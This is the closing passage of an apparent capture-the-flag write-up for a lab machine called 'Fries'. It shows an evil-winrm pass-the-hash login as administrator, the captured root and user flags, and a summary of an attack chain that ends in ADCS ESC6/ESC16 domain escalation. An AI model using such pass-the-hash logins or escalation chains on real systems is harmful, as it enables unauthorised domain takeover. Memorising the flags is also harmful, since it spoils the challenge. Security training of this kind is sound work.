$ evil-winrm -i 10.129.70.58 -u 'administrator' -H a773cb05d79273299a684a23ede56748 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> ls Directory: C:\Users\Administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 11/24/2025 11:59 PM 34 root.txt -ar--- 11/24/2025 11:59 PM 34 user.txt *Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt d3eb77ea3e8a23087cfff717856dbda5 *Evil-WinRM* PS C:\Users\Administrator\desktop> cat user.txt ce2601c397f0ea342c4799d0c0c95951 *Evil-WinRM* PS C:\Users\Administrator\desktop>
And that was it for Fries! Easily one of the most layered chains I’ve done, going from a leaked git commit and a pgAdmin eval() bug, through two container hops, an NFS export escape that handed us a Docker CA private key, a forged TLS client identity to talk to dockerd, a redirected LDAP bind to steal a domain account, and finally an ESC6 + ESC16 combination that turned ManageCA into Domain Admin. Hope you liked this writeup!